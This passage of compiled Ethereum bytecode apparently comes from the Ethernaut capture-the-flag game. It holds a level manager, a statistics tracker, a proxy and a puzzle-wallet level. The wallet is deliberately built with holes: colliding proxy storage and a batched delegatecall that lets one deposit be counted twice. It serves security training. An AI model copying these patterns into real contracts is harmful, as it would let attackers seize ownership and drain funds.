206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610198565b61044f816104ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610198565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a5f8061061e83390190565b6107a48061107d83390190565b6001600160a01b038116811461044f575f80fd5b5f60208284031215610550575f80fd5b813561055b8161052c565b9392505050565b5f8060408385031215610573575f80fd5b823561057e8161052c565b9150602083013561058e8161052c565b809150509250929050565b5f6001600160a01b0380861683526020818616602085015260606040850152845191508160608501525f5b828110156105e0578581018201518582016080015281016105c4565b50505f608082850101526080601f19601f830116840101915050949350505050565b5f60208284031215610612575f80fd5b815161055b8161052c56fe608060405234801561000f575f80fd5b50610a428061001d5f395ff3fe6080604052600436106100ad575f3560e01c8063b61d27f611610066578063d0e30db01161004c578063d0e30db0146101a0578063d936547e146101a8578063e43252d7146101e6575f80fd5b8063b61d27f61461016e578063b7b0422d14610181575f80fd5b80638da5cb5b116100965780638da5cb5b146101045780639d51d9b71461013a578063ac9650d81461015b575f80fd5b806327e235e3146100b157806373ad468a146100ef575b5f80fd5b3480156100bc575f80fd5b506100dc6100cb366004610839565b60036020525f908152604090205481565b6040519081526020015b60405180910390f35b3480156100fa575f80fd5b506100dc60015481565b34801561010f575f80fd5b505f54610122906001600160a01b031681565b6040516001600160a01b0390911681526020016100e6565b348015610145575f80fd5b50610159610154366004610859565b610205565b005b610159610169366004610870565b6102ad565b61015961017c3660046108df565b6104d7565b34801561018c575f80fd5b5061015961019b366004610859565b61065d565b6101596106db565b3480156101b3575f80fd5b506101d66101c2366004610839565b60026020525f908152604090205460ff1681565b60405190151581526020016100e6565b3480156101f1575f80fd5b50610159610200366004610839565b6107a2565b335f9081526002602052604090205460ff1661025a5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b60448201526064015b60405180910390fd5b47156102a85760405162461bcd60e51b815260206004820152601960248201527f436f6e74726163742062616c616e6365206973206e6f742030000000000000006044820152606401610251565b600155565b335f9081526002602052604090205460ff166102fd5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b5f805b828110156104d1575f84848381811061031b5761031b61095f565b905060200281019061032d9190610973565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050506020820151919250507f2f1cf250000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016104045783156103ff5760405162461bcd60e51b815260206004820152601f60248201527f4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365006044820152606401610251565b600193505b5f308787868181106104185761041861095f565b905060200281019061042a9190610973565b6040516104389291906109bd565b5f60405180830381855af49150503d805f8114610470576040519150601f19603f3d011682016040523d82523d5f602084013e610475565b606091505b50509050806104c65760405162461bcd60e51b815260206004820152601b60248201527f4572726f72207768696c652064656c65676174696e672063616c6c00000000006044820152606401610251565b505050600101610300565b50505050565b335f9081526002602052604090205460ff166105275760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b335f908152600360205260409020548311156105855760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742062616c616e63650000000000000000000000006044820152606401610251565b335f90815260036020526040812080548592906105a39084906109e0565b925050819055505f846001600160a01b03168484846040516105c69291906109bd565b5f6040518083038185875af1925050503d805f8114610600576040519150601f19603f3d011682016040523d82523d5f602084013e610605565b606091505b50509050806106565760405162461bcd60e51b815260206004820152601060248201527f457865637574696f6e206661696c6564000000000000000000000000000000006044820152606401610251565b5050505050565b600154156106ad5760405162461bcd60e51b815260206004820152601360248201527f416c726561647920696e697469616c697a6564000000000000000000000000006044820152606401610251565b6001555f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b335f9081526002602052604090205460ff1661072b5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b60015447111561077d5760405162461bcd60e51b815260206004820152601360248201527f4d61782062616c616e63652072656163686564000000000000000000000000006044820152606401610251565b335f908152600360205260408120805434929061079b9084906109f9565b9091555050565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260206004820152600d60248201527f4e6f7420746865206f776e6572000000000000000000000000000000000000006044820152606401610251565b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b80356001600160a01b0381168114610834575f80fd5b919050565b5f60208284031215610849575f80fd5b6108528261081e565b9392505050565b5f60208284031215610869575f80fd5b5035919050565b5f8060208385031215610881575f80fd5b823567ffffffffffffffff80821115610898575f80fd5b818501915085601f8301126108ab575f80fd5b8135818111156108b9575f80fd5b8660208260051b85010111156108cd575f80fd5b60209290920196919550909350505050565b5f805f80606085870312156108f2575f80fd5b6108fb8561081e565b935060208501359250604085013567ffffffffffffffff8082111561091e575f80fd5b818701915087601f830112610931575f80fd5b81358181111561093f575f80fd5b886020828501011115610950575f80fd5b95989497505060200194505050565b634e487b7160e01b5f52603260045260245ffd5b5f808335601e19843603018112610988575f80fd5b83018035915067ffffffffffffffff8211156109a2575f80fd5b6020019150368190038213156109b6575f80fd5b9250929050565b818382375f9101908152919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156109f3576109f36109cc565b92915050565b808201808211156109f3576109f36109cc56fea26469706673582212204a37ec8db90e9291144416a71f631fa008581c61934653fce5bf14a61bcb763464736f6c63430008180033608060405234801561000f575f80fd5b506040516107a43803806107a483398101604081905261002e916101f9565b818161005b60017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6102c3565b5f8051602061078483398151915214610076576100766102e8565b61007f82610116565b8051156100eb575f826001600160a01b03168260405161009f91906102fc565b5f60405180830381855af49150503d805f81146100d7576040519150601f19603f3d011682016040523d82523d5f602084013e6100dc565b606091505b50509050806100e9575f80fd5b505b5050600180546001600160a01b0319166001600160a01b039490941693909317909255506103179050565b6001600160a01b0381163b6101975760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e747261637400000000000000000000606482015260840160405180910390fd5b5f8051602061078483398151915255565b80516001600160a01b03811681146101be575f80fd5b919050565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156101f15781810151838201526020016101d9565b50505f910152565b5f805f6060848603121561020b575f80fd5b610214846101a8565b9250610222602085016101a8565b60408501519092506001600160401b038082111561023e575f80fd5b818601915086601f830112610251575f80fd5b815181811115610263576102636101c3565b604051601f8201601f19908116603f0116810190838211818310171561028b5761028b6101c3565b816040528281528960208487010111156102a3575f80fd5b6102b48360208301602088016101d7565b80955050505050509250925092565b818103818111156102e257634e487b7160e01b5f52601160045260245ffd5b92915050565b634e487b7160e01b5f52600160045260245ffd5b5f825161030d8184602087016101d7565b9190910192915050565b610460806103245f395ff3fe60806040526004361061005d575f3560e01c8063a02fcc0a11610042578063a02fcc0a146100cd578063a6376746146100ec578063f851a440146101345761006c565b806326782247146100745780633659cfe6146100ae5761006c565b3661006c5761006a610153565b005b61006a610153565b34801561007f575f80fd5b505f54610092906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b9575f80fd5b5061006a6100c83660046103fd565b610185565b3480156100d8575f80fd5b5061006a6100e73660046103fd565b6101f0565b3480156100f7575f80fd5b5061006a6101063660046103fd565b5f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b34801561013f575f80fd5b50600154610092906001600160a01b031681565b61018361017e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102ff565b565b6001546001600160a01b031633146101e45760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064015b60405180910390fd5b6101ed8161031d565b50565b6001546001600160a01b0316331461024a5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064016101db565b5f546001600160a01b038281169116146102ce576040805162461bcd60e51b81526020600482015260248101919091527f4578706563746564206e65772061646d696e206279207468652063757272656e60448201527f742061646d696e206973206e6f74207468652070656e64696e672061646d696e60648201526084016101db565b505f546001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b365f80375f80365f845af43d5f803e808015610319573d5ff35b3d5ffd5b6103268161035c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6001600160a01b0381163b6103d95760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e74726163740000000000000000000060648201526084016101db565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b5f6020828403121561040d575f80fd5b81356001600160a01b0381168114610423575f80fd5b939250505056fea2646970667358221220897a58963b49b36715afa3e1444c9f7bdb8e9025fc8a7090ef4d5c9d90a80b3664736f6c63430008180033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbca2646970667358221220b6d3185f479a26c66ddfa2f63b5f9a346a19123d447948f65b297f88f94074f164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384